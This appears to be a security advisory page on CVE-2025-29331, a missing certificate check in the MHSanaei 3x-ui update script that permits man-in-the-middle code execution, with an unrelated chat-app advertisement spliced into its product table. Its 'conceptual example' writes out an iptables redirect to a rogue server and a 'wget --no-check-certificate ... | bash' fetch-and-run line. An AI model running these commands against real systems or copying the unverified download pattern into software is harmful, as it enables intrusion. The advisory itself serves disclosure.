Overview
A critical vulnerability, identified as CVE-2025-29331, has been discovered in MHSanaei 3x-ui versions prior to v.2.5.3. This vulnerability allows a remote attacker to execute arbitrary code on the affected system, leading to potential system compromise or leakage of sensitive data. The risk associated with this vulnerability is significant due to the potential for remote attackers to gain unauthorized access to sensitive systems, which could lead to a multitude of negative outcomes, including data theft, system disruption, and unauthorized activities.
Vulnerability Summary
CVE ID: CVE-2025-29331
Severity: Critical (CVSS Severity Score: 9.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Execution of arbitrary code leading to potential system compromise or data leakage.
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
MHSanaei 3x-ui | Versions before v.2.5.3
How the Exploit Works
The vulnerability stems from the absence of a certificate check in the management script x-ui when downloading updates via wget. This lack of validation allows an attacker to perform a Man-in-The-Middle (MitM) attack. During this attack, the attacker can intercept the update request and deliver a malicious payload instead of the requested update. Since the application does not verify the authenticity of the received update, it executes the malicious code, providing the attacker with access to the system.
Conceptual Example Code
Assuming the attacker is in a position to intercept network traffic, a conceptual example of exploiting this vulnerability might look like this:
# Attacker sets up a rogue server to serve malicious update
$ echo "malicious_code" > update.zip
# Attacker performs a MitM attack and redirects the update request to their rogue server
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j DNAT --to-destination <rogue_server_IP>
# The target MHSanaei 3x-ui system downloads and executes the "update", which is actually malicious code
$ wget --no-check-certificate http://legitimate_update_server/update.zip -O - | bash
This is a simplified illustration and actual exploitation would require more sophisticated techniques. The key takeaway is that without proper certificate verification, an attacker can deliver and execute malicious code on the target system.